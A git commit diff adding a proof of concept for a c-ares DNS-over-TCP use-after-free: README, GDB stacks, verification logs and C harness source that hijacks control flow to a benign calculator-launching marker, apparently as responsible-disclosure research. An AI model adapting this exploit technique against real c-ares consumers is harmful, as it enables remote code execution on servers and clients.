Add c-ares TCP UAF calc PoC
This commit is contained in:
@@ -10,6 +10,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o
|
|||||||
| --- | --- | ---: |
|
| --- | --- | ---: |
|
||||||
| `7zip-rar5-motw-chain-poc` | `bd9533f532c1e4ee6af783b9bb49d1133c600e2c` | 3 |
|
| `7zip-rar5-motw-chain-poc` | `bd9533f532c1e4ee6af783b9bb49d1133c600e2c` | 3 |
|
||||||
| `anydesk-printer-com-impersonation-poc` | `7491303301093b2d40bee9dadf6b38f757ce78e0` | 4 |
|
| `anydesk-printer-com-impersonation-poc` | `7491303301093b2d40bee9dadf6b38f757ce78e0` | 4 |
|
||||||
|
| `c-ares-tcp-uaf-calc-poc` | direct entry, June 24, 2026 | 7 |
|
||||||
| `docker-cp-copyout-destination-escape` | `d1367b1381736d7f961ac808ce88d4e24a633adc` | 5 |
|
| `docker-cp-copyout-destination-escape` | `d1367b1381736d7f961ac808ce88d4e24a633adc` | 5 |
|
||||||
| `floci-apigateway-vtl-rce-poc` | direct entry, June 23, 2026 | 3 |
|
| `floci-apigateway-vtl-rce-poc` | direct entry, June 23, 2026 | 3 |
|
||||||
| `flowise-mcp-env-case-bypass-poc` | `ed9fab0086674f1b16467990b33bb9299e93429e` | 3 |
|
| `flowise-mcp-env-case-bypass-poc` | `ed9fab0086674f1b16467990b33bb9299e93429e` | 3 |
|
||||||
@@ -42,4 +43,4 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove
|
|||||||
|
|
||||||
This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history are not represented inside the folders.
|
This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history are not represented inside the folders.
|
||||||
|
|
||||||
Direct entries, including `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are authored in this repository and are tracked by this repository's commit history.
|
Direct entries, including `c-ares-tcp-uaf-calc-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.
|
||||||
|
|||||||
217
c-ares-tcp-uaf-calc-poc/README.md
Normal file
217
c-ares-tcp-uaf-calc-poc/README.md
Normal file
@@ -0,0 +1,217 @@
|
|||||||
|
# c-ares TCP `ares_getaddrinfo()` UAF calc PoC
|
||||||
|
|
||||||
|
This directory contains a local, benign calculator proof for a c-ares TCP resolver use-after-free in the `ares_getaddrinfo()` path.
|
||||||
|
|
||||||
|
The PoC drives c-ares through a loopback DNS-over-TCP server, shapes the freed c-ares allocation through the public `ares_library_init_mem()` allocator hook, and demonstrates that cleanup reaches an attacker-shaped indirect call:
|
||||||
|
|
||||||
|
```text
|
||||||
|
ares_slist_node_destroy(node)
|
||||||
|
-> node->parent->destruct(node->data)
|
||||||
|
-> proof_marker()
|
||||||
|
```
|
||||||
|
|
||||||
|
The marker writes a proof file under `/tmp` and attempts to start a local calculator. On WSL it starts Windows Calculator. On Linux desktops it tries common calculator binaries.
|
||||||
|
|
||||||
|
## Status
|
||||||
|
|
||||||
|
Disclosure status: privately reported upstream; publication permitted while a fix is being staged.
|
||||||
|
|
||||||
|
Verified targets:
|
||||||
|
|
||||||
|
| Target | Commit | Result |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| c-ares upstream `main` | `c93e50f3ebc0373fe57677523ec960f6c1cb0e15` | calculator proof reached |
|
||||||
|
| c-ares latest official release `v1.34.6` | `3ac47ee46edd8ea40370222f91613fc16c434853` | calculator proof reached |
|
||||||
|
|
||||||
|
This is a local proof harness, not a universal exploit for every application that links c-ares. It demonstrates controlled code execution in the harness when the affected c-ares path, response sequence, allocator shaping, and cleanup path are present.
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `poc/cares_tcp_uaf_calc_poc.c` - standalone C proof harness and benign calc payload.
|
||||||
|
- `scripts/build_from_checkout.sh` - builds c-ares from a supplied checkout and links the PoC against the resulting static library.
|
||||||
|
- `scripts/run_until_hit.sh` - retries the probabilistic heap-layout proof until the marker path lands.
|
||||||
|
- `evidence/main-c93e50f3-gdb.txt` - sanitized GDB stack for upstream `main`.
|
||||||
|
- `evidence/v1.34.6-gdb.txt` - sanitized GDB stack for `v1.34.6`.
|
||||||
|
- `evidence/local-verification.txt` - local calculator and marker verification transcript.
|
||||||
|
|
||||||
|
## Vulnerability Shape
|
||||||
|
|
||||||
|
The reproduced path uses:
|
||||||
|
|
||||||
|
- API: `ares_getaddrinfo()`
|
||||||
|
- Transport: DNS over TCP
|
||||||
|
- Channel flags: `ARES_FLAG_EDNS | ARES_FLAG_USEVC`
|
||||||
|
- Lookup mode: DNS only (`opts.lookups = "b"`)
|
||||||
|
- Response behavior:
|
||||||
|
- accept a TCP DNS query;
|
||||||
|
- return two responses for the same query id in one read;
|
||||||
|
- first response is `FORMERR` without OPT data, causing EDNS retry handling;
|
||||||
|
- second response is a successful empty response for the same query id;
|
||||||
|
- accept the retry write;
|
||||||
|
- reset the TCP connection before the next internal lookup write.
|
||||||
|
|
||||||
|
The stale state is later consumed during query cleanup. In the control-flow proof, the stale `ares_query_t.node_queries_by_timeout` pointer is made to reference a shaped skip-list node. c-ares then calls the node parent list destructor, reaching the local marker function.
|
||||||
|
|
||||||
|
The GDB evidence shows the useful call chain:
|
||||||
|
|
||||||
|
```text
|
||||||
|
proof_marker()
|
||||||
|
ares_slist_node_destroy()
|
||||||
|
ares_query_remove_from_conn()
|
||||||
|
ares_detach_query()
|
||||||
|
ares_free_query()
|
||||||
|
read_answers()
|
||||||
|
process_read()
|
||||||
|
ares_process()
|
||||||
|
main()
|
||||||
|
```
|
||||||
|
|
||||||
|
## Build
|
||||||
|
|
||||||
|
Build against current upstream `main`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone --depth 1 https://github.com/c-ares/c-ares.git /tmp/c-ares-main
|
||||||
|
./scripts/build_from_checkout.sh /tmp/c-ares-main /tmp/c-ares-main-build ./cares_tcp_uaf_calc_poc
|
||||||
|
```
|
||||||
|
|
||||||
|
Build against the latest release tag:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone --depth 1 --branch v1.34.6 https://github.com/c-ares/c-ares.git /tmp/c-ares-v1.34.6
|
||||||
|
./scripts/build_from_checkout.sh /tmp/c-ares-v1.34.6 /tmp/c-ares-v1.34.6-build ./cares_tcp_uaf_calc_poc
|
||||||
|
```
|
||||||
|
|
||||||
|
Dependencies:
|
||||||
|
|
||||||
|
- Linux or WSL
|
||||||
|
- `gcc`
|
||||||
|
- `cmake`
|
||||||
|
- `git`
|
||||||
|
- POSIX sockets and pthreads
|
||||||
|
|
||||||
|
The build script links a static PoC binary against the static `libcares.a` produced from the supplied checkout.
|
||||||
|
|
||||||
|
## Run
|
||||||
|
|
||||||
|
```bash
|
||||||
|
chmod +x ./cares_tcp_uaf_calc_poc
|
||||||
|
./scripts/run_until_hit.sh ./cares_tcp_uaf_calc_poc
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected success:
|
||||||
|
|
||||||
|
```text
|
||||||
|
CARES_RCE_PAYLOAD_TRIGGERED
|
||||||
|
run=N rc=77
|
||||||
|
c-ares control-flow payload reached pid=...
|
||||||
|
```
|
||||||
|
|
||||||
|
The proof writes:
|
||||||
|
|
||||||
|
```text
|
||||||
|
/tmp/cares_rce_proof_latest
|
||||||
|
```
|
||||||
|
|
||||||
|
Calculator launch order:
|
||||||
|
|
||||||
|
1. WSL Windows Calculator through `/mnt/c/Windows/System32/calc.exe`
|
||||||
|
2. WSL Windows Calculator through `cmd.exe /c start "" calc.exe`
|
||||||
|
3. `xcalc`
|
||||||
|
4. `gnome-calculator`
|
||||||
|
5. `kcalc`
|
||||||
|
|
||||||
|
If no GUI calculator is available, the marker file is still the reliable proof signal.
|
||||||
|
|
||||||
|
## Reliability
|
||||||
|
|
||||||
|
The control-flow path is heap-layout sensitive. A clean run can exit normally with `rc=0`, so the helper script retries. Local verification landed quickly:
|
||||||
|
|
||||||
|
```text
|
||||||
|
upstream main c93e50f3: run=1 rc=77
|
||||||
|
v1.34.6 release: run=1 rc=77
|
||||||
|
```
|
||||||
|
|
||||||
|
A miss does not necessarily mean the target is fixed. Use the GDB evidence mode or retry loop when validating.
|
||||||
|
|
||||||
|
## Why this is code execution and not only a crash
|
||||||
|
|
||||||
|
The proof does not stop at a poisoned pointer crash. It shapes the stale pointer so that c-ares reaches a valid function pointer call through its own internal destructor mechanism. The payload is a benign local marker:
|
||||||
|
|
||||||
|
```text
|
||||||
|
node->parent->destruct(node->data)
|
||||||
|
```
|
||||||
|
|
||||||
|
In the PoC, `destruct` points at `proof_marker()`. GDB confirms instruction pointer control at the marker and shows c-ares frames directly below it.
|
||||||
|
|
||||||
|
## Limits
|
||||||
|
|
||||||
|
This PoC intentionally uses c-ares' supported allocator hook to make the control-flow condition reproducible in a local harness. Real application exploitability depends on:
|
||||||
|
|
||||||
|
- whether the application uses the affected `ares_getaddrinfo()` path;
|
||||||
|
- whether DNS over TCP and EDNS retry behavior are reachable;
|
||||||
|
- whether attacker-controlled DNS responses can drive the required sequence;
|
||||||
|
- allocator behavior and heap layout in the target process;
|
||||||
|
- process mitigations, sandboxing, and restart model;
|
||||||
|
- whether the target statically bundles c-ares or dynamically links the system library.
|
||||||
|
|
||||||
|
Do not treat this source as a drop-in exploit for every c-ares consumer. Treat it as proof that the affected c-ares state machine can be driven from stale object cleanup into a controlled indirect call under the demonstrated conditions.
|
||||||
|
|
||||||
|
## Reach
|
||||||
|
|
||||||
|
c-ares is a low-level asynchronous DNS resolver, so the practical reach is larger than a single command-line tool. A vulnerable c-ares release may appear as a system shared library, a vendored static dependency, or a package-manager dependency. Whether a specific product is affected still requires confirming its bundled c-ares version and whether it exercises the vulnerable API/options.
|
||||||
|
|
||||||
|
Major consumers and ecosystems to check:
|
||||||
|
|
||||||
|
- **Node.js** - Node has historically bundled c-ares under `deps/cares` and labels c-ares/c-ares-wrap work as part of its DNS dependency surface. Node security releases have previously patched bundled c-ares vulnerabilities. Check the specific Node release and DNS API path.
|
||||||
|
- **gRPC** - gRPC documents the `ares` DNS resolver as the default on most platforms when built with c-ares support. Services using gRPC client-side DNS resolution should check whether their build enables the c-ares resolver.
|
||||||
|
- **Envoy Proxy** - Envoy documents c-ares as its default DNS resolution library and exposes c-ares DNS resolver configuration. This matters for proxies, gateways, and service-mesh deployments with dynamic DNS clusters.
|
||||||
|
- **curl/libcurl** - c-ares was originally created to provide asynchronous name resolution for curl. libcurl builds can use c-ares as one asynchronous DNS backend; whether a given curl build uses it depends on build flags and platform packaging.
|
||||||
|
- **Wireshark** - Wireshark release notes and build files identify c-ares as a required dependency for asynchronous DNS name resolution in captures.
|
||||||
|
- **Python async DNS stacks** - Tornado documents `tornado.platform.caresresolver` as a resolver using c-ares through `pycares`. Other Python packages such as `pycares` and `aiodns` may bring c-ares into applications.
|
||||||
|
- **Rust wrappers** - crates such as `c-ares` and higher-level resolver wrappers expose c-ares to Rust applications.
|
||||||
|
- **C/C++ package managers** - c-ares is packaged through Conan, vcpkg, Linux distributions, BSD ports, Homebrew-style package repositories, and similar dependency managers. Static consumers may remain vulnerable even after the system package is updated.
|
||||||
|
|
||||||
|
Operationally, good triage questions are:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ldd /path/to/binary | grep -i cares
|
||||||
|
readelf -d /path/to/binary | grep -i cares
|
||||||
|
strings /path/to/binary | grep -i 'c-ares\\|libcares\\|ares_getaddrinfo'
|
||||||
|
```
|
||||||
|
|
||||||
|
On macOS:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
otool -L /path/to/binary | grep -i cares
|
||||||
|
```
|
||||||
|
|
||||||
|
On Windows, inspect loaded modules or imports for `cares.dll`, `libcares.dll`, or statically linked c-ares symbols.
|
||||||
|
|
||||||
|
## Mitigation Notes
|
||||||
|
|
||||||
|
The correct mitigation is to apply the upstream c-ares fix once available and rebuild/redeploy all static consumers. Dynamic consumers need the patched shared library and a process restart. Static consumers need a product rebuild even if the operating system package has been fixed.
|
||||||
|
|
||||||
|
Short-term risk reducers, where compatible with the application, include:
|
||||||
|
|
||||||
|
- avoid forcing DNS over TCP for untrusted resolver paths;
|
||||||
|
- avoid resolver configurations where attacker-controlled DNS servers can drive application lookups;
|
||||||
|
- sandbox processes that perform resolver work;
|
||||||
|
- monitor for crashes or abnormal exits in DNS-heavy services;
|
||||||
|
- inventory static c-ares copies in language runtimes and appliances.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- c-ares project: https://c-ares.org/
|
||||||
|
- c-ares releases: https://c-ares.org/download/
|
||||||
|
- c-ares GitHub: https://github.com/c-ares/c-ares
|
||||||
|
- gRPC resolver docs: https://grpc.github.io/grpc/cpp/md_doc_environment_variables.html
|
||||||
|
- Envoy DNS resolution docs: https://www.envoyproxy.io/docs/envoy/latest/intro/arch_overview/upstream/dns_resolution
|
||||||
|
- Envoy c-ares resolver API: https://www.envoyproxy.io/docs/envoy/latest/api-v3/extensions/network/dns_resolver/cares/v3/cares_dns_resolver.proto
|
||||||
|
- Tornado c-ares resolver docs: https://www.tornadoweb.org/en/stable/caresresolver.html
|
||||||
|
- Wireshark 3.4.0 release notes: https://www.wireshark.org/docs/relnotes/wireshark-3.4.0.html
|
||||||
|
- Node.js c-ares security update example: https://nodejs.org/en/blog/vulnerability/july-2017-security-releases
|
||||||
|
|
||||||
|
## Responsible Use
|
||||||
|
|
||||||
|
Run this PoC only against local research targets, owned systems, or explicitly authorized lab and CTF environments.
|
||||||
14
c-ares-tcp-uaf-calc-poc/evidence/local-verification.txt
Normal file
14
c-ares-tcp-uaf-calc-poc/evidence/local-verification.txt
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
c-ares upstream main
|
||||||
|
commit: c93e50f3ebc0373fe57677523ec960f6c1cb0e15
|
||||||
|
result: run=1 rc=77
|
||||||
|
stderr: CARES_RCE_PAYLOAD_TRIGGERED
|
||||||
|
marker: c-ares control-flow payload reached pid=6188
|
||||||
|
desktop: CalculatorApp.exe started, ApplicationFrameHost title=Calculator
|
||||||
|
|
||||||
|
c-ares latest official release
|
||||||
|
tag: v1.34.6
|
||||||
|
commit: 3ac47ee46edd8ea40370222f91613fc16c434853
|
||||||
|
result: run=1 rc=77
|
||||||
|
stderr: CARES_RCE_PAYLOAD_TRIGGERED
|
||||||
|
marker: c-ares control-flow payload reached pid=3606
|
||||||
|
desktop: CalculatorApp.exe started, ApplicationFrameHost title=Calculator
|
||||||
18
c-ares-tcp-uaf-calc-poc/evidence/main-c93e50f3-gdb.txt
Normal file
18
c-ares-tcp-uaf-calc-poc/evidence/main-c93e50f3-gdb.txt
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
Target: c-ares upstream main
|
||||||
|
Commit: c93e50f3ebc0373fe57677523ec960f6c1cb0e15
|
||||||
|
|
||||||
|
Thread 1 "cares_tcp_uaf_" hit Breakpoint 1, proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
|
||||||
|
|
||||||
|
#0 proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
|
||||||
|
#1 0x0000000000418273 in ares_slist_node_destroy (node=0x5444b0) at c-ares-main/src/lib/dsa/ares_slist.c:461
|
||||||
|
#2 0x0000000000409606 in ares_query_remove_from_conn (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:72
|
||||||
|
#3 0x000000000040bd1f in ares_detach_query (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:1474
|
||||||
|
#4 0x000000000040be2c in ares_free_query (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:1512
|
||||||
|
#5 0x000000000040a78c in read_answers (conn=0x52f830, now=0x7fffffffdee0) at c-ares-main/src/lib/ares_process.c:656
|
||||||
|
#6 0x000000000040a86d in process_read (channel=0x528ab0, read_fd=3, now=0x7fffffffdee0) at c-ares-main/src/lib/ares_process.c:688
|
||||||
|
#7 0x0000000000409a68 in ares_process_fds_nolock (channel=0x528ab0, events=0x530360, nevents=1, flags=0) at c-ares-main/src/lib/ares_process.c:214
|
||||||
|
#8 0x0000000000409fdb in ares_process (channel=0x528ab0, read_fds=0x7fffffffe0b0, write_fds=0x7fffffffe130) at c-ares-main/src/lib/ares_process.c:367
|
||||||
|
#9 0x000000000040324c in main (argc=2, argv=0x7fffffffe318) at poc/cares_tcp_uaf_calc_poc.c:488
|
||||||
|
|
||||||
|
rip 0x401d8b 0x401d8b <proof_marker+22>
|
||||||
|
rdi 0x544440 5522496
|
||||||
19
c-ares-tcp-uaf-calc-poc/evidence/v1.34.6-gdb.txt
Normal file
19
c-ares-tcp-uaf-calc-poc/evidence/v1.34.6-gdb.txt
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
Target: c-ares latest official release
|
||||||
|
Tag: v1.34.6
|
||||||
|
Commit: 3ac47ee46edd8ea40370222f91613fc16c434853
|
||||||
|
|
||||||
|
Thread 1 "cares_tcp_uaf_" hit Breakpoint 1, proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
|
||||||
|
|
||||||
|
#0 proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
|
||||||
|
#1 0x00000000004180c5 in ares_slist_node_destroy (node=0x5444b0) at c-ares-v1.34.6/src/lib/dsa/ares_slist.c:461
|
||||||
|
#2 0x00000000004095e7 in ares_query_remove_from_conn (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:73
|
||||||
|
#3 0x000000000040bd0f in ares_detach_query (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:1460
|
||||||
|
#4 0x000000000040be1c in ares_free_query (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:1498
|
||||||
|
#5 0x000000000040a818 in read_answers (conn=0x52f810, now=0x7fffffffdee0) at c-ares-v1.34.6/src/lib/ares_process.c:655
|
||||||
|
#6 0x000000000040a8e0 in process_read (channel=0x528ab0, read_fd=3, now=0x7fffffffdee0) at c-ares-v1.34.6/src/lib/ares_process.c:691
|
||||||
|
#7 0x0000000000409b32 in ares_process_fds_nolock (channel=0x528ab0, events=0x5303a0, nevents=1, flags=0) at c-ares-v1.34.6/src/lib/ares_process.c:227
|
||||||
|
#8 0x000000000040a0a5 in ares_process (channel=0x528ab0, read_fds=0x7fffffffe0b0, write_fds=0x7fffffffe130) at c-ares-v1.34.6/src/lib/ares_process.c:380
|
||||||
|
#9 0x000000000040324c in main (argc=2, argv=0x7fffffffe318) at poc/cares_tcp_uaf_calc_poc.c:488
|
||||||
|
|
||||||
|
rip 0x401d8b 0x401d8b <proof_marker+22>
|
||||||
|
rdi 0x544440 5522496
|
||||||
495
c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c
Normal file
495
c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c
Normal file
@@ -0,0 +1,495 @@
|
|||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <sys/select.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include "ares.h"
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
int port;
|
||||||
|
int ready_fd;
|
||||||
|
int udp_start;
|
||||||
|
} server_ctx_t;
|
||||||
|
|
||||||
|
typedef struct tracked_hdr {
|
||||||
|
size_t size;
|
||||||
|
uint64_t magic;
|
||||||
|
struct tracked_hdr *next;
|
||||||
|
uint64_t pad;
|
||||||
|
} tracked_hdr_t;
|
||||||
|
|
||||||
|
typedef void (*proof_destructor_t)(void *);
|
||||||
|
|
||||||
|
typedef struct proof_slist {
|
||||||
|
void *rand_state;
|
||||||
|
unsigned char rand_data[8];
|
||||||
|
size_t rand_bits;
|
||||||
|
void *head;
|
||||||
|
size_t levels;
|
||||||
|
void *tail;
|
||||||
|
void *cmp;
|
||||||
|
proof_destructor_t destruct;
|
||||||
|
size_t cnt;
|
||||||
|
} proof_slist_t;
|
||||||
|
|
||||||
|
typedef struct proof_slist_node {
|
||||||
|
void *data;
|
||||||
|
struct proof_slist_node **prev;
|
||||||
|
struct proof_slist_node **next;
|
||||||
|
size_t levels;
|
||||||
|
proof_slist_t *parent;
|
||||||
|
} proof_slist_node_t;
|
||||||
|
|
||||||
|
static int use_poison_allocator;
|
||||||
|
static int trace_allocator;
|
||||||
|
static int reuse_144;
|
||||||
|
static int control_call;
|
||||||
|
static unsigned char poison_byte = 0x43;
|
||||||
|
static tracked_hdr_t *free144;
|
||||||
|
static size_t alloc_seq;
|
||||||
|
static proof_slist_t *proof_list;
|
||||||
|
static proof_slist_node_t *proof_node;
|
||||||
|
|
||||||
|
static void proof_marker(void *arg)
|
||||||
|
{
|
||||||
|
const char msg[] = "CARES_RCE_PAYLOAD_TRIGGERED\n";
|
||||||
|
const char cmd[] =
|
||||||
|
"proof=/tmp/cares_rce_proof_${PPID}; "
|
||||||
|
"printf 'c-ares control-flow payload reached pid=%s\\n' \"$$\" > \"$proof\"; "
|
||||||
|
"ln -sf \"$proof\" /tmp/cares_rce_proof_latest 2>/dev/null || true; "
|
||||||
|
"if [ -x /mnt/c/Windows/System32/cmd.exe ]; then "
|
||||||
|
" /mnt/c/Windows/System32/calc.exe >/dev/null 2>&1 || "
|
||||||
|
" /mnt/c/Windows/System32/cmd.exe /c start \"\" calc.exe >/dev/null 2>&1; "
|
||||||
|
"elif [ -x /mnt/c/Windows/System32/calc.exe ]; then "
|
||||||
|
" /mnt/c/Windows/System32/calc.exe >/dev/null 2>&1; "
|
||||||
|
"elif command -v xcalc >/dev/null 2>&1; then "
|
||||||
|
" xcalc >/dev/null 2>&1 & "
|
||||||
|
"elif command -v gnome-calculator >/dev/null 2>&1; then "
|
||||||
|
" gnome-calculator >/dev/null 2>&1 & "
|
||||||
|
"elif command -v kcalc >/dev/null 2>&1; then "
|
||||||
|
" kcalc >/dev/null 2>&1 & "
|
||||||
|
"fi";
|
||||||
|
pid_t pid;
|
||||||
|
(void)arg;
|
||||||
|
write(STDERR_FILENO, msg, sizeof(msg) - 1);
|
||||||
|
pid = fork();
|
||||||
|
if (pid == 0) {
|
||||||
|
execl("/bin/sh", "sh", "-c", cmd, (char *)NULL);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
if (pid > 0) {
|
||||||
|
waitpid(pid, NULL, 0);
|
||||||
|
}
|
||||||
|
_exit(77);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *tracked_malloc(size_t size)
|
||||||
|
{
|
||||||
|
tracked_hdr_t *hdr;
|
||||||
|
if (reuse_144 && size == 144 && free144 != NULL) {
|
||||||
|
hdr = free144;
|
||||||
|
free144 = hdr->next;
|
||||||
|
hdr->next = NULL;
|
||||||
|
memset(hdr + 1, 0x52, size);
|
||||||
|
if (trace_allocator) {
|
||||||
|
fprintf(stderr, "ALLOC%zu reuse144 %p\n", ++alloc_seq, (void *)(hdr + 1));
|
||||||
|
}
|
||||||
|
return hdr + 1;
|
||||||
|
}
|
||||||
|
hdr = (tracked_hdr_t *)malloc(sizeof(*hdr) + size);
|
||||||
|
if (hdr == NULL) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
hdr->size = size;
|
||||||
|
hdr->magic = 0xc0decafef00dbeefu;
|
||||||
|
hdr->next = NULL;
|
||||||
|
memset(hdr + 1, 0x55, size);
|
||||||
|
if (trace_allocator && size == 144) {
|
||||||
|
fprintf(stderr, "ALLOC%zu size144 %p\n", ++alloc_seq, (void *)(hdr + 1));
|
||||||
|
}
|
||||||
|
return hdr + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ensure_proof_node(void)
|
||||||
|
{
|
||||||
|
if (proof_list != NULL && proof_node != NULL) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
proof_list = (proof_slist_t *)tracked_malloc(sizeof(*proof_list));
|
||||||
|
proof_node = (proof_slist_node_t *)tracked_malloc(sizeof(*proof_node));
|
||||||
|
if (proof_list == NULL || proof_node == NULL) {
|
||||||
|
abort();
|
||||||
|
}
|
||||||
|
memset(proof_list, 0, sizeof(*proof_list));
|
||||||
|
memset(proof_node, 0, sizeof(*proof_node));
|
||||||
|
proof_list->destruct = proof_marker;
|
||||||
|
proof_list->cnt = 1;
|
||||||
|
proof_node->data = proof_list;
|
||||||
|
proof_node->levels = 0;
|
||||||
|
proof_node->parent = proof_list;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void tracked_free(void *ptr)
|
||||||
|
{
|
||||||
|
tracked_hdr_t *hdr;
|
||||||
|
if (ptr == NULL) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
hdr = ((tracked_hdr_t *)ptr) - 1;
|
||||||
|
if (hdr->magic != 0xc0decafef00dbeefu) {
|
||||||
|
abort();
|
||||||
|
}
|
||||||
|
if (trace_allocator && hdr->size == 144) {
|
||||||
|
fprintf(stderr, "FREE size144 %p\n", ptr);
|
||||||
|
}
|
||||||
|
if (control_call && hdr->size == 144) {
|
||||||
|
ensure_proof_node();
|
||||||
|
memset(ptr, 0, hdr->size);
|
||||||
|
memcpy((unsigned char *)ptr + 48, &proof_node, sizeof(proof_node));
|
||||||
|
} else {
|
||||||
|
memset(ptr, poison_byte, hdr->size);
|
||||||
|
}
|
||||||
|
if (reuse_144 && hdr->size == 144) {
|
||||||
|
hdr->next = free144;
|
||||||
|
free144 = hdr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *tracked_realloc(void *ptr, size_t size)
|
||||||
|
{
|
||||||
|
tracked_hdr_t *old_hdr;
|
||||||
|
void *new_ptr;
|
||||||
|
size_t copy_len;
|
||||||
|
if (ptr == NULL) {
|
||||||
|
return tracked_malloc(size);
|
||||||
|
}
|
||||||
|
if (size == 0) {
|
||||||
|
tracked_free(ptr);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
old_hdr = ((tracked_hdr_t *)ptr) - 1;
|
||||||
|
if (old_hdr->magic != 0xc0decafef00dbeefu) {
|
||||||
|
abort();
|
||||||
|
}
|
||||||
|
new_ptr = tracked_malloc(size);
|
||||||
|
if (new_ptr == NULL) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
copy_len = old_hdr->size < size ? old_hdr->size : size;
|
||||||
|
memcpy(new_ptr, ptr, copy_len);
|
||||||
|
tracked_free(ptr);
|
||||||
|
return new_ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void load_poison_byte(void)
|
||||||
|
{
|
||||||
|
const char *env = getenv("CARES_PROOF_POISON_BYTE");
|
||||||
|
char *end = NULL;
|
||||||
|
unsigned long value;
|
||||||
|
if (env == NULL || *env == '\0') {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
value = strtoul(env, &end, 0);
|
||||||
|
if (end != env && value <= 255) {
|
||||||
|
poison_byte = (unsigned char)value;
|
||||||
|
}
|
||||||
|
trace_allocator = getenv("CARES_PROOF_TRACE_ALLOC") != NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static int read_exact(int fd, unsigned char *buf, size_t len)
|
||||||
|
{
|
||||||
|
size_t off = 0;
|
||||||
|
while (off < len) {
|
||||||
|
ssize_t n = recv(fd, buf + off, len - off, 0);
|
||||||
|
if (n <= 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
off += (size_t)n;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static size_t question_len(const unsigned char *msg, size_t len)
|
||||||
|
{
|
||||||
|
size_t pos = 12;
|
||||||
|
if (len < pos) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
while (pos < len && msg[pos] != 0) {
|
||||||
|
unsigned int l = msg[pos++];
|
||||||
|
if (l > 63 || pos + l > len) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
pos += l;
|
||||||
|
}
|
||||||
|
if (pos + 5 > len) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return pos + 5 - 12;
|
||||||
|
}
|
||||||
|
|
||||||
|
static size_t make_dns(unsigned char *out, const unsigned char *query,
|
||||||
|
size_t query_len, unsigned char high_flags,
|
||||||
|
unsigned char low_flags, int tcp)
|
||||||
|
{
|
||||||
|
size_t qlen = question_len(query, query_len);
|
||||||
|
size_t dns_len = 12 + qlen;
|
||||||
|
size_t off = tcp ? 2 : 0;
|
||||||
|
if (qlen == 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (tcp) {
|
||||||
|
out[0] = (unsigned char)(dns_len >> 8);
|
||||||
|
out[1] = (unsigned char)(dns_len & 0xffu);
|
||||||
|
}
|
||||||
|
out[off + 0] = query[0];
|
||||||
|
out[off + 1] = query[1];
|
||||||
|
out[off + 2] = high_flags;
|
||||||
|
out[off + 3] = low_flags;
|
||||||
|
out[off + 4] = 0;
|
||||||
|
out[off + 5] = 1;
|
||||||
|
out[off + 6] = 0;
|
||||||
|
out[off + 7] = 0;
|
||||||
|
out[off + 8] = 0;
|
||||||
|
out[off + 9] = 0;
|
||||||
|
out[off + 10] = 0;
|
||||||
|
out[off + 11] = 0;
|
||||||
|
